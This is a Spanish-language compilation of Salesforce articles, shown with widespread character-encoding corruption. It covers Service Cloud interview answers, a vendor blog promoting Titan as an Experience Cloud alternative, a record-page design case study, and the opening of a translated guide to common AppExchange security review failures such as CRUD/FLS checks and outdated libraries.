Mi enfoque implica primero garantizar que la aplicaci贸n de terceros tenga una documentaci贸n API s贸lida y cumpla con las mejores pr谩cticas de seguridad y cumplimiento. Salesforce ofrece varias formas de integraci贸n, como mediante API REST o SOAP, servicios externos o incluso mediante aplicaciones AppExchange, si est谩n disponibles.

5. 驴C贸mo dise帽ar铆a una soluci贸n que utilice Service Cloud para rastrear la opini贸n del cliente e incorporar esa informaci贸n en los flujos de trabajo de gesti贸n de casos?

Service Cloud puede integrarse con herramientas que ofrecen an谩lisis de sentimientos, incluido Einstein Sentiment de Salesforce. Al analizar el texto de las interacciones con los clientes (correos electr贸nicos, transcripciones de chat, publicaciones en redes sociales), se puede determinar el sentimiento (positivo, neutral, negativo). Estos datos de opini贸n se pueden almacenar como un campo en el objeto Caso o en un objeto personalizado relacionado.

6. 驴Puede dar un ejemplo de c贸mo ha utilizado Service Cloud para mejorar las capacidades de autoservicio del cliente y reducir la cantidad de solicitudes de soporte entrantes?

Una estrategia eficaz es implementar una comunidad o portal de clientes utilizando Salesforce Community Cloud, integrado con Service Cloud. Aqu铆 se puede acceder a los art铆culos de la base de conocimientos, lo que permite a los clientes encontrar respuestas a sus preguntas. Tambi茅n se pueden crear casos directamente desde la comunidad y los clientes pueden verificar su estado sin necesidad de comunicarse con el soporte. La implementaci贸n de un chatbot a trav茅s de Einstein Bots tambi茅n puede desviar consultas rutinarias al proporcionar respuestas autom谩ticas a preguntas comunes.

7. 驴Has trabajado con Service Cloud Voice? 驴C贸mo ha utilizado esta tecnolog铆a para mejorar el rendimiento del call center y la satisfacci贸n del cliente?

Service Cloud Voice integra la telefon铆a en Salesforce, brindando una vista unificada del cliente y transcripci贸n de llamadas en tiempo real. Esto permite a los agentes centrarse m谩s en el cliente que en tomar notas. La transcripci贸n en tiempo real, impulsada por Einstein, tambi茅n puede proporcionar sugerencias para el siguiente paso, ayudando a los agentes m谩s nuevos. La conclusi贸n posterior a la llamada se acelera porque los datos de la llamada ya est谩n en Salesforce, lo que reduce el trabajo posterior a la llamada y, en consecuencia, los tiempos de espera para los clientes. Los datos hist贸ricos de llamadas brindan informaci贸n valiosa para el an谩lisis de la opini贸n del cliente y el desempe帽o de los agentes, lo que impacta positivamente la capacitaci贸n y la satisfacci贸n del cliente.

8. 驴C贸mo abordar铆a el dise帽o de una soluci贸n para una empresa que opera en varios pa铆ses con diferentes regulaciones de privacidad de datos?

鈥 El cumplimiento de diversas normas de privacidad de datos se puede gestionar en Service Cloud mediante el uso de funciones como opciones de residencia de datos para almacenar datos en regiones espec铆ficas, enmascaramiento de datos, cifrado, seguridad a nivel de campo y reglas de acceso a registros para controlar qui茅n puede acceder a qu茅 datos.

9. 驴C贸mo ha abordado los problemas de escalabilidad y rendimiento al dise帽ar soluciones de Service Cloud para grandes empresas?

  • Para las grandes empresas, las consideraciones incluyen la gesti贸n del volumen de datos, el uso de las herramientas de optimizaci贸n del rendimiento integradas de Salesforce y la revisi贸n peri贸dica de la organizaci贸n para eliminar configuraciones y personalizaciones obsoletas.
  • Tambi茅n es importante dise帽ar con una mentalidad de 鈥渃lics, no c贸digo鈥 para minimizar el c贸digo personalizado, que puede introducir complejidad y sobrecarga de rendimiento.
  • Cuando es necesario un c贸digo personalizado, es vital seguir las mejores pr谩cticas para la masificaci贸n y las consultas SOQL eficientes. Finalmente, el monitoreo a trav茅s del Optimizador, Health Check y otras herramientas de Salesforce puede ayudar a identificar y mitigar problemas de rendimiento de manera proactiva.

10. 驴C贸mo ha utilizado Service Cloud para mejorar la retenci贸n de clientes y reducir las tasas de abandono?

En Service Cloud, la retenci贸n de clientes se puede mejorar significativamente utilizando las s贸lidas funciones de servicio al cliente de la plataforma. Por ejemplo, aprovecho las capacidades de an谩lisis e informes de Service Cloud para realizar un seguimiento de las puntuaciones de satisfacci贸n del cliente e identificar problemas comunes que provocan la insatisfacci贸n del cliente. Al integrar los comentarios directamente en el sistema de gesti贸n de casos, los agentes pueden abordar las inquietudes de manera proactiva antes de que se intensifiquen, lo que impacta directamente en la satisfacci贸n y retenci贸n del cliente. Adem谩s, caracter铆sticas como la comunicaci贸n personalizada con el cliente, art铆culos de conocimiento para el autoservicio y la resoluci贸n eficiente de casos a trav茅s del enrutamiento y escalamiento automatizados de casos ayudan a mantener una experiencia positiva para el cliente, reduciendo as铆 la deserci贸n.

11. 驴Ha trabajado con la funcionalidad Live Agent de Service Cloud? 驴C贸mo ha utilizado esta tecnolog铆a para mejorar las experiencias de atenci贸n al cliente?

S铆, utilic茅 Live Agent dentro de Service Cloud para mejorar el soporte que reciben los clientes en tiempo real. Al integrar Live Agent, los clientes pueden chatear instant谩neamente con agentes de soporte, lo que reduce los tiempos de espera y mejora la satisfacci贸n general. Descubr铆 que incorporar el chat de Live Agent en sitios web y aplicaciones m贸viles donde los clientes son m谩s activos reduce significativamente la barrera para acceder al soporte.

12. 驴Puede describir c贸mo dise帽ar铆a una soluci贸n de Service Cloud que incorpore el enrutamiento automatizado de casos al agente apropiado seg煤n el problema del cliente y el conjunto de habilidades del agente?

Para lograr esto, aprovechar铆amos la funci贸n OmniCanal, que permite enrutar los casos seg煤n el conjunto de habilidades, la disponibilidad y la carga de trabajo del agente.

  1. Comenzar铆a por definir varios conjuntos de habilidades de agentes dentro del sistema y asociar铆a estas habilidades con los agentes correspondientes.
  2. Luego, establec铆a configuraciones de enrutamiento, donde los casos entrantes se eval煤an seg煤n criterios predefinidos relacionados con el problema del cliente y luego se los relaciona con un agente que posee el conjunto de habilidades requerido.

13. 驴C贸mo abordar铆a el dise帽o de una soluci贸n de Service Cloud que pueda manejar grandes vol煤menes de casos manteniendo tiempos de respuesta consistentes y niveles de satisfacci贸n del cliente?

  • Primero, implementar铆a reglas de asignaci贸n de casos para automatizar la distribuci贸n de casos a los agentes o colas correctos.
  • Luego, utilizar铆a la funci贸n de reglas de escalamiento de casos de Service Cloud para priorizar casos urgentes o de alto impacto.
  • Para mantener tiempos de respuesta constantes, se pueden utilizar funciones como reglas de respuesta autom谩tica para reconocer inmediatamente los env铆os de casos.
  • Adem谩s, integrar铆a una base de conocimientos integral para facilitar las opciones de autoservicio, reduciendo as铆 la carga de casos para los agentes.

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Las Mejores Alternativas a Salesforce Experience Cloud

Las Mejores Alternativas a Salesforce Experience Cloud

脷ltima actualizaci贸n el 22 de septiembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴Cu谩les son las mejores alternativas a Experience Cloud del mercado? 驴Y es posible encontrar una herramienta sin c贸digo que le permita crear portales y aplicaciones totalmente personalizables?

Objetivos:

Despu茅s de leer este blog, tendr谩s:

  • Comprensi贸n de Salesforce Experience Cloud, incluidas sus fortalezas y debilidades.
  • Conocimiento de los pros y los contras de utilizar desarrollo personalizado para crear portales y aplicaciones web.
  • Una introducci贸n a Titan Web, con una explicaci贸n de c贸mo esta herramienta de c贸digo cero puede brindarle la libertad de crear cualquier aplicaci贸n web o portal que desee.

El director de ventas Eric Brown se acerc贸 a Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC). Eric quiere un sistema totalmente digitalizado para gestionar los procesos internos de recursos humanos. La directora de recursos humanos y su equipo est谩n muy ocupados utilizando procesos manuales y parcialmente digitalizados para contratar, gestionar n贸minas y cuidar el bienestar de los empleados. 隆Asegurarse de que todo el papeleo y la administraci贸n est茅n actualizados es una p茅rdida de hasta 12 horas cada semana! Est谩 empezando a ser abrumador.

La empresa quiere un portal para empleados rentable y totalmente personalizable, integrado con Salesforce, que no requiera codificaci贸n ni conocimientos t茅cnicos especiales para su implementaci贸n. Saben que Salesforce Experience Cloud es una posible soluci贸n, pero tambi茅n les preocupa que sea costoso y no lo suficientemente flexible para sus necesidades. Entonces, 驴cu谩les son las alternativas de Experience Cloud ?

Experiencia en la nube

Salesforce Experience Cloud, anteriormente conocida como Salesforce Community, se introdujo en 2013 como una plataforma para crear comunidades en l铆nea de marca. A lo largo de los a帽os, Salesforce Experience Cloud evolucion贸 con actualizaciones y mejoras. Hoy en d铆a, sirve como una soluci贸n integral para crear portales atractivos, aplicaciones web, comunidades y experiencias de autoservicio, lo que permite a las organizaciones ofrecer interacciones fluidas e impulsar el compromiso de clientes, socios y empleados.

La creaci贸n de aplicaciones web y portales de autoservicio con Experience Cloud puede mejorar la experiencia de sus empleados en el lugar de trabajo y aliviar la presi贸n de su departamento de recursos humanos. Un portal de autoservicio o una aplicaci贸n web creada con Experience Cloud proporciona a los empleados acceso directo a su informaci贸n personal y profesional, lo que facilita la actualizaci贸n de informaci贸n y registros en cualquier momento o lugar.

Echemos un vistazo m谩s de cerca a algunas de las ventajas y desventajas de utilizar Experience Cloud para crear portales para su organizaci贸n.

Las mayores ventajas de Experience Cloud:

  • Plantillas listas para usar para impulsar su implementaci贸n
  • Soluciones Lightning Bolt disponibles de forma gratuita o compradas en Salesforce AppExchange
  • Acceso completo a los datos de Customer 360 guardados en Salesforce
  • Salesforce Experience Cloud funciona a trav茅s de un software intuitivo de arrastrar y soltar, por lo que no es necesario tener ninguna experiencia t茅cnica especial ni conocimientos de codificaci贸n.
  • Dado que Experience Cloud es nativo de Salesforce, no es necesario realizar ning煤n trabajo de integraci贸n adicional. El software ya habla el idioma de los administradores de Salesforce y tiene la interfaz de usuario con la que estar铆an familiarizados.
  • Puedes crear p谩ginas p煤blicas y privadas. La ventaja de esto es que s贸lo los usuarios con los permisos de acceso adecuados podr谩n visitar espacios espec铆ficos.
  • Las opciones listas para usar de Experience Cloud le brindan G2M r谩pido y lo m谩s probable es que pueda crear su portal o sitio en uno o dos d铆as.
  • Tambi茅n tiene la opci贸n de dise帽ar su portal o sitio web de la manera que desee utilizando im谩genes y colores personalizados para que coincidan con la apariencia de su marca.
  • Listo para dispositivos m贸viles

Contras de Experience Cloud:

  • Las opciones listas para usar no le brindan mucha flexibilidad para personalizar y ajustar el dise帽o de su p谩gina para satisfacer sus necesidades.
  • Experience Cloud es algo limitado desde la perspectiva de la experiencia del usuario; por ejemplo, no puede utilizar elementos repetidos, edici贸n en l铆nea de tablas, pantallas modales y otros elementos atractivos. Por ejemplo, es posible que desee crear un elemento que abra la biblioteca de c谩maras del usuario al hacer clic en 茅l, pero con Salesforce Experience Cloud esto es imposible.
  • Salesforce Experience Cloud es definitivamente caro, por lo que si desea optar por esta soluci贸n, prep谩rese para pagar
  • No se puede diferenciar entre la experiencia del usuario de escritorio y m贸vil usando opciones listas para usar. Para ello es necesario recurrir al desarrollo personalizado.
  • Sin validaciones de entrada en tiempo real. Primero debes hacer clic en el bot贸n 鈥淕uardar鈥.
  • Las integraciones fuera de Salesforce son tareas complejas y requieren un desarrollo extenso
  • Hay una cantidad limitada de plantillas disponibles y estas solo cubren casos de uso espec铆ficos. Esto significa que es posible que no encuentre la plantilla adecuada para las necesidades de su negocio.

Ejemplo de plantillas de Salesforce Experience Cloud a continuaci贸n. Cr茅dito: https://www.salesforce.com/products/experience-cloud/features/templates/

驴Puede el desarrollo personalizado superar las limitaciones de Experience Cloud?

Aprovechar los recursos del desarrollo personalizado es otra forma de crear un portal o sitio web que se adapte a las necesidades de su negocio. Y en muchos sentidos, esta opci贸n le ayuda a superar las limitaciones de Experience Cloud. Estas son algunas de las principales razones para utilizar el desarrollo personalizado, as铆 como sus inconvenientes:

Ventajas del desarrollo personalizado:

  • Lo bueno de utilizar el desarrollo personalizado para crear sus aplicaciones y portales es que puede hacer lo que quiera con su lienzo en blanco, por ejemplo, integrarlo con m煤ltiples sistemas externos a Salesforce.
  • Puede emplear desarrolladores para crear cualquier UX que desee, de modo que no est茅 limitado a Salesforce UX al determinar la experiencia que tienen los clientes cuando visitan su sitio.
  • Puedes crear dise帽os din谩micos para cualquier dispositivo, por ejemplo, port谩til o m贸vil, sin restricciones.
  • Su portal o sitio puede personalizarse para cualquier caso de uso que se le ocurra. 隆Si puedes so帽arlo puedes hacerlo!
  • Proporciona mayor control y propiedad: con un portal o sitio web de desarrollo propio, las organizaciones tienen total propiedad y control sobre la propiedad intelectual, el c贸digo fuente y las mejoras futuras.

El desarrollo personalizado ofrece la gran ventaja de brindarle libertad absoluta para crear el portal de sus sue帽os sin barreras, restricciones ni compromisos. Pero este m茅todo no est谩 exento de desventajas. Vea a continuaci贸n algunos de los principales puntos d茅biles:

Desventajas del desarrollo personalizado:

  • Falta de experiencia t茅cnica: desarrollar un portal o una aplicaci贸n web requiere habilidades y recursos t茅cnicos especializados
  • Limitaciones de tiempo y recursos: crear una aplicaci贸n o un portal web puede ser un proceso que requiere mucho tiempo y una inversi贸n significativa.
  • La salida al mercado puede verse seriamente retrasada, lo que podr铆a afectar negativamente a sus objetivos comerciales.
  • R谩pidos avances tecnol贸gicos: el panorama tecnol贸gico evoluciona continuamente y peri贸dicamente surgen nuevas caracter铆sticas, marcos y plataformas. Desarrollar una aplicaci贸n web o un portal internamente requiere mantenerse actualizado con las 煤ltimas tecnolog铆as y mejores pr谩cticas.
  • Desaf铆os de mantenimiento y soporte: una vez que se desarrolla un portal de autoservicio o una aplicaci贸n web, el mantenimiento y el soporte continuos son esenciales para su buen funcionamiento.
  • B谩sicamente, depender谩 de los recursos de desarrollo y se ver谩 paralizado cuando desee realizar actualizaciones simples. 隆No suena divertido!
  • Problemas de integraci贸n: desarrollar una aplicaci贸n web o un portal internamente puede plantear conflictos de integraci贸n con sistemas, bases de datos o servicios de terceros existentes.
  • Consideraciones de seguridad y cumplimiento: crear una aplicaci贸n o un portal seguro implica implementar medidas de seguridad s贸lidas y garantizar el cumplimiento de las normas de protecci贸n de datos.
  • Centrarse en las competencias b谩sicas: las organizaciones deben evaluar si el desarrollo de una aplicaci贸n o portal se alinea con sus competencias b谩sicas y prioridades estrat茅gicas.
  • 隆Dinero dinero dinero! Esta es definitivamente tu opci贸n m谩s cara, as铆 que prep谩rate para acumular una factura.

隆Haci茅ndolo todo con la plataforma de experiencia digital de Titan!

Titan es una plataforma de experiencia completa que le brinda la libertad de crear sus propios portales, sitios de autoservicio, formularios de Salesforce , encuestas y mucho m谩s. Y es una de las mejores alternativas a Experience Cloud del mercado.

Titan es una plataforma sin c贸digo con una interfaz intuitiva de arrastrar y soltar que permite a los administradores de Salesforce crear y configurar sitios web potentes para cualquier industria y caso de uso. Entonces, la verdadera pregunta es: 驴c贸mo se compara Titan con Experience Cloud? 驴Tiene tambi茅n ventaja sobre el desarrollo personalizado? A continuaci贸n, detallamos c贸mo Titan Web puede permitirle crear sitios web impresionantes y portales personalizados:

Puntos ganadores de Tit谩n:

  • Plataforma de c贸digo cero con una interfaz sencilla de arrastrar y soltar, por lo que no necesita gastar dinero en desarrollos costosos
  • Integraci贸n bidireccional en tiempo real con Salesforce y acceso completo a Customer 360
  • Plantillas listas para usar para acelerar su comercializaci贸n
  • Experiencia de usuario 100 % flexible por dispositivo para viajes de cliente personalizados
  • Totalmente de marca para que coincida con la apariencia de su organizaci贸n.
  • El enfoque m贸vil primero le brinda la capacidad de escalar
  • Totalmente seguro y compatible con los principales marcos regulatorios como GDPR, SOC 2 e HIPAA
  • Cree perfiles personalizados para clientes y socios que sean f谩ciles de implementar
  • Genere documentos y f铆rmelos desde su aplicaci贸n o portal
  • Capacidades sin conexi贸n para que pueda utilizar esta herramienta incluso cuando est茅 fuera del alcance de Internet
  • Compatible con m煤ltiples idiomas y monedas
  • Integraciones integradas de terceros
  • Capacidades completas de gesti贸n de versiones
  • Rentable en comparaci贸n con la competencia

Ahora, echemos un vistazo a las desventajas de Titan:

  • El tiempo de incorporaci贸n puede variar entre 4 y 20 horas, seg煤n la complejidad de su caso de uso.
  • Ocasionalmente, para una l贸gica o un dise帽o de dise帽o muy complejos, una organizaci贸n necesitar谩 agregar c贸digo JS y/o CSS para ajustarse a sus necesidades.
  • El dominio/subdominio del sitio web est谩 limitado a uno por cliente. Se pueden comprar dominios adicionales por un costo adicional

El arma secreta de Titan es su poder para crear aplicaciones web totalmente personalizables sin tener que escribir una sola l铆nea de c贸digo. Sin concesiones ni agendas ocultas para que pueda acelerar su comercializaci贸n.

Comparaci贸n de Experience Cloud frente a la competencia

Arriba, profundizamos en Salesforce Experience Cloud y sus principales alternativas. Pero, 驴cu谩l es el resultado final y qui茅n sale como el verdadero ganador? Eche un vistazo a nuestra tabla comparativa a continuaci贸n para descubrirlo:

Experiencia en la nube Desarrollo a la medida Plataforma Tit谩n
Costo Medio Muy caro Medio
Hora de comprar Corto Largo Muy corto
Esfuerzo de mantenimiento prolongado Bajo Muy alto Bajo
Recursos necesarios para el proyecto Administrador de SF Desarrolladores Administrador de SF
Flexibilidad de dise帽o Muy poco Lleno Lleno
Experiencia de usuario Lo mismo que Salesforce. No puedes crear tu propia experiencia de usuario Puedes desarrollar cualquier cosa que puedas so帽ar. Casi todo lo que puedas so帽ar
Marca S铆 con temas personalizados S铆 S铆 con temas personalizados
Integraci贸n de Salesforce S铆 Requiere desarrollo por integraci贸n. S铆
Integraciones de terceros Requiere complementos pagos o desarrollo Requiere complementos pagos o desarrollo S铆
Validaciones de datos en tiempo real No S铆 S铆
Flujo de trabajo y automatizaci贸n S铆 No S铆
M贸vil Listo para dispositivos m贸viles Dise帽o completamente din谩mico por dispositivo Dise帽o completamente din谩mico por dispositivo
Conocimiento de Salesforce Compatible Requiere desarrollo Compatible
Compromiso digital de Salesforce Compatible Requiere desarrollo Compatible

Depende 100% de usted decidir las funciones y capacidades que necesita para crear los sitios web y portales de sus sue帽os. Pero est谩 claro que si est谩 buscando una herramienta web sin c贸digo, ultraflexible y rentable que mejore la experiencia del usuario, Titan es una excelente opci贸n.

Quiz谩s recuerde que anteriormente en este art铆culo una empresa estaba buscando una soluci贸n flexible y sin c贸digo para crear un portal de recursos humanos para los empleados. Eligieron utilizar Titan y estos son los resultados:

  • Los empleados inician sesi贸n en el portal:
  • Reciben una autenticaci贸n de dos factores enviada a su correo electr贸nico para que puedan iniciar sesi贸n en el portal sin administrar ninguna otra contrase帽a.
  • Las p谩ginas web y los portales se muestran din谩micamente seg煤n la autenticaci贸n del usuario, proporcionando una experiencia de usuario din谩mica con cada clic.
  • Todo est谩 construido s贸lo con herramientas de arrastrar y soltar. No es necesaria ninguna codificaci贸n, ya que todos los datos fluyen hacia y desde Salesforce en tiempo real.
  • El Portal de Recursos Humanos brinda a los empleados un f谩cil acceso a informaci贸n personal y profesional, lo que hace que sea muy conveniente actualizar registros y sus propios datos personales:
  • Los formularios digitales personalizados han eliminado los errores de entrada y las imprecisiones de los datos con el precompletado din谩mico utilizando datos de Salesforce.
  • En el pasado, cada vez que un empleado quer铆a reservar sus d铆as de vacaciones, ten铆a que completar un formulario de licencia manual, escanearlo y enviarlo por correo electr贸nico a Recursos Humanos para su aprobaci贸n. Ahora simplemente hacen clic en la pesta帽a de d铆as de vacaciones para gestionar las solicitudes de licencia.
  • El Portal de Recursos Humanos del Empleado permite a los empleados registrar pedidos de equipos de TI directamente desde sus dispositivos m贸viles, computadoras port谩tiles y de escritorio.
  • Los empleados pueden presentar solicitudes de gastos de la empresa antes de que se procesen para la n贸mina y pueden presentar las solicitudes para recibir el pago antes de la fecha l铆mite de n贸mina. Esto significa que no hay que esperar a que se paguen las reclamaciones de gastos.
  • Incluso hay un Centro de conocimiento donde los empleados pueden obtener respuestas a todas sus preguntas frecuentes y solucionar problemas r谩pidamente:
  • Recursos Humanos ahorra 40 horas al mes en trabajo manual (隆incluida la n贸mina!) y los empleados est谩n m谩s comprometidos.
  • La empresa logr贸 hacer todo esto dentro del presupuesto y en un tiempo r茅cord, sin tener que implementar ning煤n c贸digo ni desarrollo personalizado.

Prueba de concepto

Consulte este portal de recursos humanos sin c贸digo donde los empleados pueden iniciar sesi贸n y realizar diversas acciones de autoservicio:

[contenido incrustado]

Salesforce Experience Cloud es una soluci贸n conocida con un historial decente en permitir a las empresas crear aplicaciones y portales para mejorar la experiencia del cliente. Aun as铆, no est谩 exento de limitaciones: falta de flexibilidad en lo que respecta a la experiencia del usuario, ninguna opci贸n real para diferenciar entre la experiencia de escritorio y m贸vil, y dificultad para integrarse con herramientas fuera de Salesforce, 隆por nombrar solo algunas!

Utilizar el desarrollo personalizado para crear su propia aplicaci贸n o portal personalizado resolver谩 la mayor铆a de los mayores problemas de Experience Cloud. Con el desarrollo personalizado, obtienes total libertad para crear cualquier portal o aplicaci贸n que puedas so帽ar y obtener dise帽os din谩micos para cualquier dispositivo. Si bien el desarrollo personalizado mitiga los puntos d茅biles de Experience Cloud, esta soluci贸n presenta sus propios desaf铆os, que incluyen trabajo y mantenimiento de desarrollo complicados, gastos adicionales y una comercializaci贸n m谩s lenta.

Titan gana a lo grande al brindarle lo mejor de ambos mundos: obtiene software de arrastrar y soltar combinado con la libertad y flexibilidad que brinda el desarrollo personalizado. Si est谩 buscando la alternativa l铆der a Experience Cloud y le gust贸 lo que ley贸, 隆p贸ngase en contacto hoy!

Evaluaci贸n formativa

驴Qu茅 es lo que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntete libre de compartir en los comentarios a continuaci贸n.

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Un dise帽o tipo "cortador de galletas" puede ser lo que sus usuarios necesitan

Un dise帽o tipo "cortador de galletas" puede ser lo que sus usuarios necesitan

La personalizaci贸n es un sello distintivo de Salesforce, pero 驴qu茅 sucede cuando se exagera? Durante m谩s de 20 a帽os, una organizaci贸n del sector p煤blico cre贸 versiones espec铆ficas para equipos de las p谩ginas de registros de Salesforce Lightning Experience . Demasiados dise帽os causaron confusi贸n y llevaron a las personas a mantener sus propias hojas de c谩lculo en lugar de completar Sales Cloud . Todo eso cambi贸 cuando un Trailblazer con certificaci贸n 10X introdujo un patr贸n de dise帽o simple y repetible.

"El modelo simple puede ser algo 煤til", dijo Prag Ravichandran Kamalaveni, fundador y director ejecutivo de Skilled Cohort .

Establezca las bases para el crecimiento con Sales Cloud

Maximice la productividad, obtenga informaci贸n valiosa y optimice los procesos para crecer con usted.

Este #DreamDesigner devolvi贸 al cliente a los conceptos b谩sicos de UX . Juntos, implementaron una plantilla universal para p谩ginas de registros Lightning con objetos est谩ndar y personalizados . El enfoque permiti贸 a los usuarios navegar por las p谩ginas m谩s f谩cilmente y eliminar sus hojas de c谩lculo. "La gente volvi贸 a Sales Cloud para completar la informaci贸n", dijo. "Comenzaron a sentirse m谩s seguros de que pod铆an hacer lo que ten铆an que hacer y hacerlo r谩pidamente".

Por fin, todos podr铆an beneficiarse de una 煤nica fuente de verdad.

El buen dise帽o fomenta la creaci贸n de h谩bitos

"El buen dise帽o se basa en la memoria muscular y as铆 es como puede convertirse en un h谩bito", dijo Prag, quien trabaj贸 en este proyecto mientras trabajaba en CloudKettle , una consultor铆a que ayuda a las organizaciones a mejorar las operaciones de ingresos.

Su estrategia de dise帽o tiene en cuenta que todos desarrollan atajos mentales a medida que avanzan. Los procesos son m谩s f谩ciles cuando son familiares. Por lo tanto, los componentes familiares en las p谩ginas de registro pueden aumentar la eficiencia y permitir a los usuarios actuar sin fricciones.

Entonces Praga hizo una plantilla con dos columnas. Le dio a los elementos del patr贸n de dise帽o el mismo aspecto, ubicaci贸n y prop贸sito en todos los casos. No exist铆a una raz贸n cr铆tica para el negocio para recrear la rueda. En todo caso, fue todo lo contrario. Los usuarios necesitaban poder confiar en una experiencia de usuario intuitiva. Necesitaban confiar en lo que saben sobre un patr贸n para informar cualquier p谩gina en la que se encontraran.

"Hay una 煤nica raz贸n por la que esto funcion贸", dijo. "Todas las p谩ginas de registro con plantilla fueron posibles gracias a Salesforce Lightning Design System (SLDS) ".

Centrarse en la reutilizaci贸n

Hay grandes beneficios al dise帽ar sistemas. Prag confi贸 en SLDS como recursos para crear p谩ginas de registro consistentes con los principios de experiencia del usuario, el lenguaje de dise帽o y las mejores pr谩cticas de Salesforce. "La arquitectura integrada basada en componentes nos permiti贸 segregar la informaci贸n agrupada en una plantilla universal para p谩ginas de registro", dijo.

Despu茅s de todo, incluso una peque帽a elecci贸n de dise帽o puede crear dificultades para los usuarios. Si un elemento est谩 en un lugar nuevo, puede provocar agotamiento mental, arrastre y, finalmente, resignaci贸n.

鈥淎dem谩s, algo que afecta a los usuarios es la necesidad de volver a aprender una experiencia o ralentizar su flujo鈥, dijo Alan Weibel, arquitecto de UX de Salesforce.

Los nuevos patrones de dise帽o se realizaron a nivel de macrointeracci贸n y a nivel de microinteracci贸n. Prag se asegur贸 de que las tareas m谩s grandes (por ejemplo, iniciar sesi贸n) fueran tan uniformes como las m谩s peque帽as (por ejemplo, env铆o de formularios).

La coherencia produce eficiencia

Hoy, la informaci贸n del equipo est谩 centralizada en Sales Cloud. Los usuarios se sienten c贸modos con patrones de dise帽o familiares. El trabajo es m谩s f谩cil y los beneficios de compartir informaci贸n son significativos. Las desviaciones anteriores ralentizaron el trabajo y aumentaron la carga para el administrador de Salesforce. Ahora, nadie navega por diferentes p谩ginas de diferentes maneras.

Este tipo de transformaci贸n siempre es posible. Prag lo vio cientos de veces en sus trece a帽os especializ谩ndose en Salesforce. La clave es que las organizaciones sigan evaluando su implementaci贸n para reducir la deuda tecnol贸gica y la deuda de dise帽o .

Lo que funcion贸 antes puede no funcionar ahora.

Esa es la belleza del dise帽o. Es una conversaci贸n en curso. Y, a veces, patrones de dise帽o consistentes son justo lo que necesita para que su equipo vuelva a encarrilarse.

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Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

